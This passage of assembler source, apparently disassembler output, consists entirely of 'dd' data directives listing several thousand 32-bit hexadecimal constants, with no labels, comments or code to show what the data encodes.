		dd 4A9C84C7h, 4DDAA02Ah, 1779EF62h, 33B05A16h, 1271C3F5h
		dd 26029E2h, 670F86ADh,	0C0B84F5Ch, 0A626A004h,	5E2025CCh
		dd 1127F838h, 40386500h, 0A5DBAE48h, 0B87307DDh, 0EF1B5262h
		dd 0EF1536E0h, 0F80085B7h, 98E4AC01h, 526609Ah,	9524596h
		dd 0C84CC2A1h, 5C162A10h, 0B61850DDh, 6EA4F158h, 6073DF6h
		dd 665EF914h, 253E5420h, 32BD0340h, 8FE00DA5h, 778952CBh
		dd 4EB863CDh, 1B4D6420h, 8B710085h, 0A7259872h,	0A5009FAAh
		dd 65E7B13Bh, 155F5E0h,	0CE4B3C6Ch, 0C99BDFDCh,	8AA887D8h
		dd 3310A486h, 3F0D7195h, 0CE80F1A6h, 0C866ECEDh, 1B2C2590h
		dd 0B84048FAh, 53F17Dh,	8E540AB3h, 0AF752193h, 60EBD902h
		dd 71F2504Ch, 0C8A715F8h, 0C0A1631Fh, 2C28E596h, 0C1160D32h
		dd 0FC0025C5h, 0A25E928Dh, 0BADCE5E4h, 0A80804D2h, 8061502Ch
		dd 0E778795Eh, 5FB04400h, 54C8CAAAh, 0F83D51B7h, 9B113C23h
		dd 719E0219h, 5A2D6A14h, 95C78088h, 0B1AD0737h,	8E4F79E2h
		dd 0FB6A1F40h, 0DA0C18F1h, 0B970475Bh, 39BD602Dh, 0F76F2228h
		dd 92AC81Dh, 344FE6C1h,	80E06D95h, 4CB4040h, 0F58988h
		dd 92C309C4h, 2A6B4AB0h, 0E89C8100h, 0AB1DF49Fh, 78878ECh
		dd 8EB6F842h, 2EF1016h,	5E258786h, 0DD3C1021h, 44AD00E3h
		dd 9C0E4E9Dh, 11C2E0E5h, 0E0A53DA6h, 91360133h,	6B1100E0h
		dd 9A54B49Fh, 7900EAB0h, 9BA36803h, 27BE6AA6h, 4410CCB8h
		dd 69F27126h, 0DAFE1500h, 9E84F858h, 0B49CC9h, 4D3D862Fh
		dd 1E01D368h, 0B77D694Ch, 0B040AD60h, 3F74E485h, 891F8BAAh
		dd 0A4F0254h, 3879CE8Ch, 0CC522C8Ah, 98DA8884h,	0F44CB489h
		dd 0B4B100C7h, 0AF9C97D2h, 0C4EA62F9h, 78E8100h, 3AD4FF2Ah
		dd 0E8254817h, 78E474B0h, 2742CA00h, 9AD5E29Fh,	69F2E3h
		dd 2A62C19h, 8CE076B6h,	51B1BC1Fh, 9ADE4402h, 0ADB040DDh
		dd 885004Ah, 0DFF26349h, 7D751C92h, 0AE2CACF7h,	0B8595C02h
		dd 0D45AF5h, 0EE45262Dh, 6D9F7BE1h, 2494CB27h, 0F0C04914h
		dd 2C3DF599h, 3C78453Ch, 0B30010C4h, 2AE87AAAh,	39022E77h
		dd 9180BD97h, 0ADC0D1CCh, 6E0517D5h, 56AFE934h,	0FA00ECA2h
		dd 0D40AB0E4h, 0D905064Bh, 0A0C55A25h, 0B04DC00Ah, 161B8088h
		dd 295491F5h, 57864034h, 5D00E297h, 0C495E849h,	0B8B9D222h
		dd 401C4BFDh, 71F1A82Ch, 4F00EF9Eh, 3F94BB69h, 98A15997h
		dd 0F26E0070h, 0C995648Ah, 4C0034E4h, 0BF05D245h, 0A7A926h
		dd 67EEE994h, 5DCD5EAEh, 0D2601500h, 0AABDED73h, 0BE4B004Ah
		dd 0DFD5A44Ch, 0B0538F4h, 3B135232h, 481124C0h,	0B5171CFh
		dd 4358F508h, 6F259464h, 386891D6h, 587A4420h, 0E126E0ABh
		dd 4270C014h, 0C002DF24h, 74F30F36h, 4886669h, 59AFCDFFh
		dd 2BC6C0A4h, 0E2003512h, 0DB4825CEh, 4378FEAh,	4D338152h
		dd 554C82F9h, 47E3CD27h, 9993C0CFh, 8A7413A7h, 5E1CD0C7h
		dd 94B9BA2Ah, 52EF00BCh, 0E2ABF423h, 0ADDE00AEh, 294C0BA9h
		dd 631FA436h, 0DCF73C5h, 2B02A012h, 1E496B75h, 0C0987064h
		dd 0B9155A60h, 0C5074454h, 2FDD1CE7h, 3DA5E531h, 0B933870h
		dd 0D3A13A64h, 30662411h, 70F9B210h, 0CE143D50h, 287CA5A3h
		dd 4D03E871h, 0B8B06472h, 0D25299CAh, 39D548FCh, 0DF0662ADh
		dd 8816DFAh, 0E0E2C801h, 0B0D3C235h, 2AD28C0h, 1BC9F490h
		dd 0C5C3470Fh, 1A0EB790h, 30D75F03h, 0BB43E183h, 574000AEh
		dd 5A173D6h, 0F300D359h, 0B31DFDF5h, 0F783F1Fh,	1BCDB510h
		dd 0DCDBCAE3h, 68B07024h, 67F1A700h, 2B5F083h, 82750B5Eh
		dd 0B2C39AE1h, 569959h,	95E9F489h, 31D54B2Fh, 6D79CD7Bh
		dd 6B2980BEh, 0F6311690h, 4AA100EAh, 4FCBEC4Dh,	1B0707A5h
		dd 21D835E5h, 87C3B1B0h, 484E6522h, 0D3844167h,	8DE5A43Bh
		dd 8D8F298h, 51E2F0h, 6F320385h, 0F372A9F6h, 0DD0D0800h
		dd 0E80A6B10h, 0A8465133h, 374831B1h, 42E183DBh, 0B4727Eh
		dd 299C0A1h, 57DEBC8Fh,	0B5CA1A00h, 7BFF76FEh, 78C50116h
		dd 53DA4CE6h, 8009F0ACh, 0E80C0B00h, 1C9E6B46h,	27E71E71h
		dd 0A37B40FCh, 42C814FDh, 7684D654h, 0DBB9C00h,	9BBD0664h
		dd 1F47EA33h, 0D86BDB77h, 9AEDA12Ah, 4B752600h,	0E75AF884h
		dd 5FDB076Ah, 0E0CD7F71h, 0F2A8EA51h, 6C311767h, 860BD420h
		dd 0ACDB18E9h, 0EB4E1820h, 5BD09E06h, 2CF9C93Ch, 156D757h
		dd 0A28812CDh, 9FD5D0C5h, 7D21CA60h, 154D5346h,	90E37645h
		dd 3C355A0Ch, 0E9504B21h, 810C5391h, 19CB42C3h,	1CE5381Ah
		dd 620B800h, 60A90D0Ah,	10DA4700h, 38D317ABh, 44DCA4BEh
		dd 0DC010C22h, 0F08D09F6h, 5C827248h, 0F496D4B2h, 3AD398A3h
		dd 0A3F889C6h, 53E838A0h, 0E985741Bh, 143DE010h, 0FB2CA084h
		dd 0E845290Ah, 967980BCh, 0C491EE01h, 8700B679h, 2E800B3Bh
		dd 1D430D94h, 127E75h, 0F9F33989h, 892826Dh, 0A1B60A00h
		dd 0DDA59646h, 0CF420334h, 618C6C2h, 92D4D1A0h,	3F07217Ah
		dd 0B41528F3h, 0AEE19790h, 6DFC1844h, 70949B6h,	54ABF100h
		dd 58D50414h, 96B300DBh, 1C2A612Dh, 21002035h, 2C9B7845h
		dd 5BEE8Eh, 926D543Bh
		dd 6A755265h, 3DB4FA02h, 4093EF37h, 0A85615ECh,	0ACC888h
		dd 4701D67Fh, 0D865E57Bh, 8380AA74h, 0ECB84Ah, 0E9DDB777h
		dd 8244C2A9h, 42D04101h, 56A35981h, 0CE2BE9E7h,	0A8235DE0h
		dd 3DB9AA4h, 0FF4A914Bh, 4DC2C405h, 9ED5FC80h, 1664DFCEh
		dd 108D1729h, 0D199DC40h, 80B09139h, 63142CFCh,	0B1067DA1h
		dd 0AF4A157Fh, 9A6407B9h, 6083AB6Fh, 53C0EB9Ch,	0C8C90624h
		dd 0E01F43h, 1C225C49h,	1DB2534Ch, 19D2DB30h, 33C92Ch
		dd 0BCB9E3F6h, 0E690EA5Ch, 0D0DA8430h, 8824F350h, 0FC009E47h
		dd 0BEA39BCDh, 3C0A7B81h, 731884D7h, 0C3BB71B3h, 0C03E6000h
		dd 3C07E4BEh, 450108B8h, 0C0B3E371h, 8429AF43h,	415FBD80h
		dd 52A31DC4h, 0E5FFBBh,	7F35B3FDh, 2504F881h, 0D7075F3Dh
		dd 2027C8D2h, 0D5BB38A4h, 45856F03h, 0C881556Bh, 0F960234h
		dd 0A45EDCB1h, 0CD81FA2Fh, 86C5A3D5h, 0E62ED339h, 0A1D42491h
		dd 37D742F0h, 44815FE2h, 9ED34247h, 11C07231h, 0E8A86F0Dh
		dd 576900B8h, 4C4EA7F3h, 0BE180A22h, 2651D5D9h,	0D24A00EFh
		dd 1A48BC8Ah, 6D31147Ch, 7B17E9B5h, 0D02AF0h, 0E11FCF94h
		dd 0E00E0A4Ch, 0EE12F2E8h, 2020F59Fh, 729660h, 0AC91CF3Dh
		dd 73802216h, 6DFBFF16h, 0A5BC1C20h, 0AECB1D99h, 5B98234h
		dd 5C804E7Ch, 0E9F74C55h, 0BB870900h, 272A2BB4h, 0F9EA001Eh
		dd 8C047B71h, 6059D834h, 2C844298h, 15C254E5h, 81608152h
		dd 0A18BFC57h, 381CEB9Ah, 0B0BCA858h, 0A4678Ch,	16F487BBh
		dd 0CA7135AEh, 7524F700h, 0B4D178AFh, 9DB60696h, 0C1CC4E7Eh
		dd 0E81D400Fh, 205BC066h, 7E99D490h, 982800E7h,	6B15793Ch
		dd 4AF8CC89h, 0A0A88E00h, 0F674DF51h, 0FB5B03ABh, 6791C210h
		dd 0A0031102h, 0C4437C4Bh, 710600ACh, 1A6D22EBh, 68241F17h
		dd 334098D8h, 0C1ED50h,	69A5EC48h, 51FF01D2h, 1DB14502h
		dd 93625B4Eh, 27328098h, 8114078Ah, 84D3FBE1h, 0EB20D01Dh
		dd 401352E0h, 10022ABEh, 4C53463h, 0D37CC1F2h, 801A1429h
		dd 1CA04699h, 774A9B9h,	706C6FE8h, 23B60FF0h, 5684511Dh
		dd 846B1F89h, 0F4DA3D18h, 9E9F1105h, 32249107h,	0A4D410D1h
		dd 0E871C014h, 95485B56h, 0C0F80948h, 0D3A54B72h, 0A6B9397Ah
		dd 61E69F80h, 0A7CEDD4Ch, 7D184403h, 1B2D68BEh,	79501531h
		dd 0CD77A7C0h, 0C9302358h, 0D540875Bh, 51C08981h, 67735E0h
		dd 0BEEF40ADh, 5E003980h, 4C476DC1h, 2EEC4ACh, 0BA7AECA0h
		dd 2FF0D57Ch, 4EA2920Fh, 3AA855C8h, 51405061h, 1891B345h
		dd 0EF430BE6h, 0C88E11h, 0B875473Ch, 44F2FF06h,	200D0094h
		dd 61EDF4F0h, 0E00C48Fh, 449C935Ah, 16FCECDCh, 67B4D67h
		dd 78AD6064h, 8496A080h, 0D008F1D3h, 9F14BEB8h,	36250CCFh
		dd 97100420h, 0C4A40FEEh, 0B1F2A544h, 60B80004h, 3C66B955h
		dd 2B9B3716h, 90D08822h, 3FFD33D4h, 9D038DFFh, 0ADBE5F9h
		dd 4EAE0398h, 0B84AE00Ah, 5E848C99h, 9A00CA82h,	93E56DE8h
		dd 72A34A07h, 7AC6DD3Ch, 0B12021D0h, 0E8268D91h, 1E11FCh
		dd 779E7B7Ch, 767F05Ah,	0A72E217Eh, 33D05211h, 8C7A7084h
		dd 0A2003AACh, 67102834h, 5651EFDh, 6A6F6950h, 0D080100Bh
		dd 0C9926308h, 64B1506h, 0ADDB2A49h, 2888008Ch,	0A2B59047h
		dd 0B1000C77h, 5E5B1D64h, 0E4B215h, 3451F49Dh, 0B36165B7h
		dd 1F437F18h, 85D81h, 0F7AAE69Ah, 2FC312B1h, 522C1D12h
		dd 0B6D8AC21h, 47F06980h, 0E0FB9032h, 0E852DB26h, 2EC7073Bh
		dd 5A92EB9Dh, 17B09C20h, 0A077263h, 3C4254h, 7EFBC5E1h
		dd 4107A815h, 0E537CCE9h, 24EA4661h, 0A1B39C20h, 6D1298E8h
		dd 0D0080C4h, 3F71C587h, 2B2F6Fh, 0DB596C18h, 6BDA77B2h
		dd 0B55FEA00h, 15E609E1h, 98235449h, 6C5B1F50h,	0C94D4494h
		dd 3FA48871h, 62C5E803h, 0E80A0C35h, 9E77F8h, 2C19DECh
		dd 3DD54919h, 9F7870EBh, 0E1D14E05h, 0FC08C993h, 0F8F281D8h
		dd 0D82C0C5Ch, 6F00CEDBh, 0C207B721h, 0AE21BA1h, 7C3CD489h
		dd 3FE560BCh, 0CF3AE655h, 0B51485BFh, 1480BA72h, 0A22E53DBh
		dd 183485A4h, 20BF8022h, 0A6A3E645h, 0A15AF400h, 0D00E4873h
		dd 4603051Ah, 87C85750h, 0F44D7294h, 0A600F844h, 0C047A1DBh
		dd 8CF2DAh, 5AD39F8Dh, 0CD6BD8D7h, 6D57A600h, 1211D274h
		dd 0C49CA26Ah, 1278908Ch, 42819C05h, 2BE18484h,	0C8832810h
		dd 6780B3A1h, 724DF274h, 0E2049017h, 5EDD4024h,	24B4A549h
		dd 540D443h, 8895Ch, 3278BAF3h,	32B344Ch, 0E0B9E890h, 1394A00h
		dd 2272044h, 0DECE12ACh, 0A848E26Fh, 211235DAh,	5440AFDBh
		dd 0C1185748h, 0A4F8E6h, 3B5917B5h, 9C0BC46Bh, 97139D02h
		dd 60A688E4h, 410A3530h, 4EA241E6h, 5C40C6B8h, 3E606FABh
		dd 79C5FAB1h, 0D1433067h, 0C1C2D3B9h, 0FD597F00h, 3ED670F9h
		dd 26FF048Eh, 0B4437950h, 66007208h, 1B1E3821h,	4FBCD3h
		dd 9CF513A6h, 3D9B6476h, 5E653709h, 2E78265Dh, 70649471h
		dd 12026949h, 0EE8895DAh, 3559C0F5h, 980E5003h,	4EEA25EBh
		dd 184F088Fh, 0B2B59247h, 8846CD5Fh, 2EA81A44h,	24A99760h
		dd 81E80334h, 69012168h, 7BC06D7Ah, 28514FECh, 532193EDh
		dd 4D6F410h, 5D20046h, 0C2D8529Ah, 0CF15FD5Ch, 22688137h
		dd 0A160DE23h, 82706880h, 0B2204EA9h, 24E08650h, 0F7367DCh
		dd 6E40FBD1h, 585140A2h, 0A1E7F04h, 6C88F2AEh, 0E4C21EBEh
		dd 0CC54C003h, 83C02E11h, 790E4700h, 0D5EE7392h, 82149168h
		dd 7C501D6Dh, 11ADD4E1h, 2180E1DBh, 0EDC9AC36h,	0EA5C45B7h
		dd 0F0971208h, 30031432h, 0FC94DFF8h, 87B8600h,	914223D0h
		dd 0D39A00D8h, 0B2401B3h, 9861BD00h, 66BA492Ah,	0DBCD063Bh
		dd 792E46E5h, 0BBFBDF02h, 7997D54Ch, 8C026B1Ch,	0A446224Ah
		dd 15290F63h, 6231784Eh, 0DDE899ABh, 833B8102h,	0C84BF330h
		dd 2ECA6169h, 5A8E539h,	225DCD37h, 0D3221CD4h, 30A85933h
		dd 2AB89C50h, 88FB6180h, 6B00D5E7h, 82B52CC9h, 72C4435Ah
		dd 450D0E11h, 0C7407178h, 0A7A93FDh, 0EE7EF102h, 0E05BF31Ch
		dd 0FE1DF530h, 6341052Dh, 236D186h, 0C4424738h,	3793A0A0h
		dd 50177CAh, 0F26D6210h, 0E5DCA311h, 25D50050h,	1351677Dh
		dd 7B0A0E3Eh, 902A4BB9h, 0F249DC64h, 0FAB39002h, 7CD4701h
		dd 4D80FFCFh, 1FE4C0E9h, 0D365143Ch, 40A096BCh,	0ED84DCB9h
		dd 0A08C655Fh, 398188F8h, 22BEE8B9h, 7B5024AFh,	126C096Ch
		dd 15D274C9h, 0D4A48Ch,	0C18CE9B3h, 4A392EA5h, 82F550Eh
		dd 987060C2h, 6E4F40h, 2633377Dh, 0EB354A5Ch, 1E14FA48h
		dd 700EC87Ch, 6DF5E03Ah, 923DAE58h, 85482158h, 6E59408h
		dd 791E9ED4h, 0C0963BF8h, 0A0D0F292h, 6B844Ah, 532E71E6h
		dd 3A68C5A2h, 0C9475F01h, 6DF3E183h, 0D5009862h, 37575B29h
		dd 7A38093Dh, 5730074h,	0D3016444h, 0E19C98B9h,	982D1C34h
		dd 4A86039Ch, 2227AADEh, 2086A97Eh, 7F05E669h, 826E0566h
		dd 0B4C3481h, 3A4C9708h, 8A568024h, 30C03EC1h, 61509472h
		dd 1B4DA297h, 0AA690664h, 1CF11542h, 817A5074h,	34B90AF6h
		dd 0C2A1C027h, 145BC3Bh, 7953381Fh, 0B0E4D039h,	0D20A00B6h
		dd 2A6C7BE1h, 26007187h, 0A2392933h, 16FAB09Fh,	0C87C4BA3h
		dd 0F316D374h, 0FBAB99Bh, 0B10110DBh, 0F4395D34h, 0DC007D76h
		dd 87F37C4Eh, 269B7B5Eh, 403838D1h, 3D7A607Fh, 0EED23A00h
		dd 0EA65E76Dh, 0FE270C35h, 0D3288061h, 0E6773213h, 108CC094h
		dd 0BE218E30h
		dd 0C9B20822h, 80729A04h, 2DA48240h, 9800F204h,	3AAA94FFh
		dd 72B3899h, 6B7FB3FDh,	5622C08Dh, 0EA026D61h, 0CC835F3Dh
		dd 0F004281h, 0E54083BCh, 0F0A90E3h, 0BCECEDE0h, 0DC4F5CCFh
		dd 62909470h, 0D05BB3DCh, 0C0A7E200h, 0C4763Ch,	41D7E3F2h
		dd 0CC6E2605h, 0F765EB00h, 6C446786h, 0D8FC485Ah, 22BCAC50h
		dd 0F358E224h, 47DC8084h, 6E14677h, 836F1368h, 0A2A2A0D5h
		dd 86B430A2h, 43087E11h, 0DD80449Ch, 8FA28B2Ch,	64843181h
		dd 40661FF1h, 6EDE2EBCh, 0CFB4B100h, 0C9371B4Dh, 0D7F102A9h
		dd 0D08BD356h, 485BC440h, 0D233A00h, 84734B99h,	0D4110230h
		dd 0A826FCB2h, 0AE19D882h, 29DA3222h, 0AA056444h, 87E43B1Ch
		dd 53E904C1h, 0E8898508h, 3080F428h, 8BEBE0CEh,	238EED12h
		dd 7537B200h, 1C395Ch, 4A26663Ah, 18F0246Dh, 867B5101h
		dd 7085404Ch, 567E9DCh,	0CB344D9Bh, 88B0160Bh, 3B0EC9ECh
		dd 857C4591h, 0F8852747h, 7302E004h, 0C41838C4h, 0E366C891h
		dd 424D5C74h, 0AF78105Dh, 8C4EB905h, 0BA8493Ch,	0B88420A9h
		dd 5B5043B8h, 3132D81Bh, 0E87D4CFEh, 4EB4A82Eh,	8D27C405h
		dd 4B40028Ch, 662EB06Ch, 0FC242359h, 4222B608h,	4307C5EFh
		dd 0E401518Ch, 4CF77282h, 520914F6h, 0C03AA81h,	40F4DA39h
		dd 99ECF233h, 3DEF02CCh, 6BDB9A1Bh, 0B2AE7CE8h,	81225405h
		dd 58B32857h, 0F6EC8D00h, 72635C50h, 508EC33Eh,	0E4A6E18Ch
		dd 0E0728D45h, 5E618200h, 4E0E439Eh, 0D252791Dh, 0B15FABC0h
		dd 58320A5Ah, 0EC13BC01h, 888017D4h, 0BC0E8D90h, 608E7EA7h
		dd 0F327C51Ah, 11E400EAh, 0B7D2BE7Bh, 31051E58h, 0FE98481Fh
		dd 0A00B1884h, 689890F3h, 60450B1Ch, 0EF0E745Eh, 107B39C0h
		dd 5717FEE2h, 0C08DD27h, 0CB966451h, 190C5938h,	0D5A1E1A8h
		dd 0B9AD8014h, 9C000C95h, 199F5D08h, 186FD9h, 5B28C3E9h
		dd 1EF0AD3Fh, 6362A48h,	5537EE07h, 0FACF0118h, 0A132CC92h
		dd 33E8C486h, 672D5606h, 8061DED5h, 188D9A1h, 0A5BCB7CBh
		dd 60EAC086h, 0E042E5D0h, 213E4B21h, 0BC4408D1h, 51D7DB8Dh
		dd 88A80340h, 0CA0A121Fh, 0D210055Bh, 9024950Dh, 2A480FECh
		dd 48739A25h, 7A2792Ch,	0EDBB719Dh, 0EF19E09Ch,	29E2F03Ah
		dd 81E54A09h, 0D414185Ch, 3B5A0451h, 8D91C5EAh,	0F324306Ch
		dd 6F0020B9h, 18D6EEC1h, 4A10260Ch, 0E23804A8h,	0BA34212Bh
		dd 9F20BB12h, 0C0742h, 60DA225Fh, 0FE067EE1h, 8CA06E98h
		dd 4B84243Ah, 0EBBC7087h, 640058E9h, 29CE865Dh,	245F3BB4h
		dd 48D8C487h, 80902D34h, 9E018628h, 0C6766E6Ch,	4BE00F5Bh
		dd 75673F70h, 91935FBDh, 0EB3C0920h, 0B30B4C44h, 10729214h
		dd 38610804h, 0C0080CDh, 0F65D3922h, 0B000631Ah, 75429364h
		dd 12C0DF5Fh, 2152A537h, 12AF7A44h, 14E112Eh, 5028C034h
		dd 0F3045A21h, 0B0A7C4B9h, 50112448h, 136A00B4h, 5B166C2Ch
		dd 7F490405h, 81E52A4Dh, 8E19528h, 5D2184FAh, 22531D2Dh
		dd 9760AB04h, 2CC180AEh, 198FBC6Dh, 0A7801FDAh,	32CE3188h
		dd 855B2F00h, 6F6EDBA3h, 5A220711h, 0C045B873h,	562BB55Fh
		dd 0CD78AF78h, 0AEC4E702h, 42C5FBD7h, 0DEDC1888h, 658902DAh
		dd 36505DC4h, 0C39D841h, 78E494E5h, 0AC80B994h,	0A4391678h
		dd 4A050310h, 30F0097Ah, 41005AB8h, 0E4E853D6h,	12DBD256h
		dd 1D0EEBCDh, 4518808Dh, 88A24B87h, 4860AD1Eh, 842F0589h
		dd 7322F68Ch, 58CAF490h, 8F700500h, 0BAF57166h,	0C59F0065h
		dd 0C143EE75h, 0F600215Eh, 0B53014DBh, 681341h,	0F0BB3816h
		dd 11EAFC25h, 2DF5C800h, 8C3F7B45h, 46C90096h, 0E428E089h
		dd 62183907h, 0BA4001E8h, 4836608Ch, 0C76BC802h, 0E54FB400h
		dd 3BA23D47h, 2883F943h, 0B18A3CBCh, 99DC4821h,	0DF612172h
		dd 0A48B08C0h, 0AF0C3AE2h, 0A0E26776h, 497063B3h, 7901B11Eh
		dd 9D3B8EB6h, 0CCC09663h, 0C7570098h, 0AD36B0CBh, 88013541h
		dd 7ACC3A6h, 4F9E090h, 973DF182h, 880C56Ch, 0D49B2905h
		dd 3C1044h, 82559DEEh, 7ABAE68Eh, 0FBE5AC00h, 6962FCF9h
		dd 0E26B3E1Bh, 0B1A9880Ch, 0AC611FF8h, 42603008h, 3811FCh
		dd 5ADAFDAh, 5345CC10h,	0BE6AF930h, 0A0C72E03h,	402D6C94h
		dd 522AC8E6h, 0C10348CEh, 458DBA9Ah, 395814B0h,	0D486B869h
		dd 61032916h, 310E49DDh, 13EEA87Dh, 2C2B0004h, 9EED9AADh
		dd 943EAAF0h, 0B6B71861h, 72C1B2A1h, 45550AD7h,	6EC4C489h
		dd 9D41831h, 5D9361h, 8D8C46C7h, 0EA874F72h, 16289977h
		dd 8830FC32h, 6490A17Bh, 925601F9h, 8A4A863Bh, 0B2C04155h
		dd 903004DAh, 0D9810h, 392AB4E6h, 0FA35D64Dh, 869F300h
		dd 15316FFBh, 1EFF1882h, 0FA51F1B9h, 0E9F85C00h, 73C7BC48h
		dd 13891FCh, 0A3ABE837h, 0BD0E48Dh, 286FDC3Ch, 2121D4A6h
		dd 0B0700819h, 8203FD91h, 7E3A8AF0h, 44DB6DF8h,	0C5FEB0C4h
		dd 1C8CF0Ah, 8AB7C902h,	628C116Ch, 80E01F11h, 0D8FC7B49h
		dd 0BADCABh, 914A3E0Ch,	5861B095h, 9A1C5Ch, 767BC1C3h
		dd 0B69C1Eh, 0C6D7AC27h, 0B37F5FA4h, 9B684400h,	0B0C0E02Dh
		dd 34C89233h, 3061EAB7h, 0B8857884h, 0BD156D0Eh, 2D5C63C0h
		dd 0D910066h, 0F5369F74h, 611EA3AAh, 16407386h,	6CEB03E8h
		dd 8FA2A084h, 0B6EE01B2h, 0C5E03214h, 0A2F45007h, 20F905B3h
		dd 0C443A18Ch, 0B968F102h, 440A3B8Ch, 9042610Eh, 38A50D75h
		dd 4CA1B262h, 0E600B6A0h, 44AFD00Ah, 8E35BA1h, 0FBCF5DF9h
		dd 4F180D08h, 6324C1B8h, 6A0CF12h, 62688818h, 2D0144C2h
		dd 0C0295A67h, 823BA510h, 0D73301ECh, 0A8FAFD49h, 85482035h
		dd 97A989F5h, 63B00464h, 1EA244C0h, 99A8A8E7h, 0D695004Ch
		dd 0A9394B57h, 0CB00B9CAh, 36EF52F7h, 0C0BA1E90h, 0AAD88679h
		dd 503D6212h, 8D7503F6h, 0E0594784h, 12AE52F5h,	295396A6h
		dd 69D04C14h, 6EF21A00h, 0DEEDA2Dh, 0E25D00BCh,	0D9A5AF37h
		dd 9600FB2Ch, 0B6A85CBEh, 30594238h, 0B9A9E21Fh, 7312153Eh
		dd 6848A778h, 8C856419h, 98992ABCh, 3BCAAC1h, 0D620B602h
		dd 382722h, 0A1FDE014h,	1D86BE67h, 0E321BD60h, 3E3EF929h
		dd 0CA2E070Bh, 7CDD09B3h, 0A86E8C02h, 64673902h, 53D013E8h
		dd 402C278Eh, 1D27DBF2h, 0C300D099h, 4DB3ACBCh,	0DAEC0012h
		dd 744B2EBEh, 4C2C5A69h, 801004ABh, 0D4927BC8h,	57404C20h
		dd 0B25F01F4h, 98C76351h, 42102103h, 5520F990h,	388DA560h
		dd 9780460Fh, 0FD4CC7A6h, 8400B191h, 99966A1Eh,	7583354Fh
		dd 4A8807CBh, 301DF745h, 94AE1E85h, 3500B575h, 0C53B22D3h
		dd 2F90425h, 8113606Dh,	0D4405CE8h, 458464F4h, 0E12C42AAh
		dd 1232EA20h, 6174000Bh, 8FA60C85h, 641293A4h, 48443CF8h
		dd 38495F30h, 5511A418h, 0CD649205h, 988A9DA4h,	0C9C05001h
		dd 80401872h, 0CFC2DD19h, 492D6D28h, 4F58783Eh,	0D383B100h
		dd 8AE49786h, 0A6A5F302h, 44B03638h, 100E44D0h,	48268D03h
		dd 90EEA9B4h, 0A09DACDCh, 842988C8h, 1D039E20h,	0D3B28E84h
		dd 0CD1C00B0h, 9F72C170h, 0F0BD9679h, 1C2100D2h, 8B33432Ch
		dd 34A0DB51h, 4F70378Ah, 0F922BF1Ch, 0E4C55C80h, 12188567h
		dd 8A42013h, 4764FD6Ch,	0C0244556h, 39F80130h, 248909A0h
		dd 0CC1F94B4h, 882A1EABh, 0F876FC09h, 507D8CBEh, 6A448681h
		dd 8356B39h, 24405814h,	83E6E03Ch, 0AEFCC0C4h, 0A5039D91h
		dd 6F2CBD86h, 0D2DD881Ch, 0AC1E22DFh, 486D3900h, 0FCC9CA60h
		dd 969C05EEh, 0E0D321h
		dd 0D05E31E6h, 73047551h, 0A8EBCEC2h, 0A5B35C81h, 0F9E0CC24h
		dd 317CB462h, 5559B7ACh, 12D43563h, 78C1CEB8h, 23030C8h
		dd 78D75F2Ch, 107E380Bh, 0C00BD40Ch, 39DFA249h,	3600E591h
		dd 0C61E4B21h, 0C011DB6Fh, 0A733DE21h, 36009350h, 0BB8B16C0h
		dd 0E0521C6Eh, 0DF43022Ah, 0D2C27496h, 99DC58A6h, 71B81E30h
		dd 7336A503h, 42C800FEh, 7770BAA0h, 1490E2A2h, 15417618h
		dd 86FF6EB8h, 3EA6DF02h, 98ED62FDh, 82B19FD0h, 73BD0C0h
		dd 0ABDA1388h, 666FC0DCh, 9A342C8Fh, 0DCD43878h, 31470096h
		dd 0D755F5EBh, 60FEF01Ah, 0A3FA9CA0h, 66F850B8h, 7F2FC12h
		dd 0E4C33800h, 7EA2A54Eh, 0E269003Ah, 20383CE9h, 6B007B83h
		dd 9D9C02B7h, 2478C3CAh, 1CDB12C5h, 0D7B040C8h,	0A80F5EA6h
		dd 6D73C1C2h, 210B2467h, 9050BB1Eh, 0F0C6A839h,	0E39102EAh
		dd 96F276FBh, 0FC140060h, 0A3216892h, 8B34833Ah, 417DB31Eh
		dd 0A405A10Eh, 0DD3F001Dh, 1F2D053h, 0C10FCA54h, 947158B3h
		dd 0E7A4F188h, 49ACA6h,	0E2EB60D1h, 0B13562FEh,	9907EC1Fh
		dd 0E01B9847h, 0E43E4F02h, 0C6FE23D4h, 0A48D5780h, 0D7A71Ch
		dd 492E5824h, 0A101AF36h, 299C5101h, 0A528D49Dh, 589AC28h
		dd 0C9DB9C85h, 90B7E404h, 0C907DC0Eh, 5B7440B2h, 0C452424Ah
		dd 221CADC0h, 0F81F23B4h, 0E5508100h, 22CE48F4h, 101A5C5Dh
		dd 0A8EE9E08h, 0CE039942h, 7E540018h, 0B2DE6480h, 0F41BCF7Ch
		dd 0AB31E561h, 0BA04A403h, 7C185883h, 0A1D08843h, 70698800h
		dd 12EF851Dh, 2CDC9A3Ah, 883C2CA4h, 0E94EFDB0h,	0C6246244h
		dd 9B290600h, 612C90BAh, 823F31EAh, 0CC048173h,	5E747738h
		dd 86A82860h, 38DD8D45h, 4D7A3980h, 0F789EA59h,	0F0B0EB2Ch
		dd 6B1CE504h, 8914C623h, 82C03DE0h, 0B063C83Eh,	8903AF7Ch
		dd 50602987h, 0E988BD58h, 532100FBh, 11BF162Ch,	0EF2C584Dh
		dd 9600AC6Bh, 768836C9h, 3BA4969Fh, 0F688180h, 0B6A995BBh
		dd 0E5D5D109h, 0C688496h, 80A1A244h, 0B11085DCh, 6CA69B2Ch
		dd 54221D59h, 735E8C0Eh, 6560F32Fh, 3F13BFCFh, 0FABA802h
		dd 824AB8F0h, 1169D498h, 229C336Eh, 51C7F8F9h, 0B8514003h
		dd 844253A8h, 4144713Eh, 410A39EFh, 12B6B324h, 2884C1B2h
		dd 119211C6h, 1C2381BAh, 0CD4C847Ch, 0BFB6127Ch, 6636AC82h
		dd 1AB046ECh, 0C041EAD9h, 0A0DA98h, 0A71D4693h,	0A571C589h
		dd 0DD4360B0h, 31B19D16h, 0AE4DD888h, 0DA40FCD0h, 3CD28072h
		dd 0A900ADC8h, 9D5981CEh, 4F73180Ch, 72658400h,	0C8545CFCh
		dd 0EEC03BDAh, 36322B80h, 0F74256FAh, 0F1857100h, 6E47BDCBh
		dd 0F084FEB7h, 0F23670FDh, 11ECB8DDh, 4CB06738h, 5C3922A0h
		dd 0E787801Fh, 0A18180F8h, 10538949h, 10F97FA0h, 88B0578Dh
		dd 8B8A466Bh, 0ADDCA04Ch, 9863E362h, 2D6118B0h,	0A6AF3154h
		dd 0E5A48C03h, 0EBA80C62h, 96F1B135h, 9B2E438h,	2DF0B420h
		dd 36101C16h, 0A3893D3h, 64B0D53Ch, 8C34808h, 1309568Ch
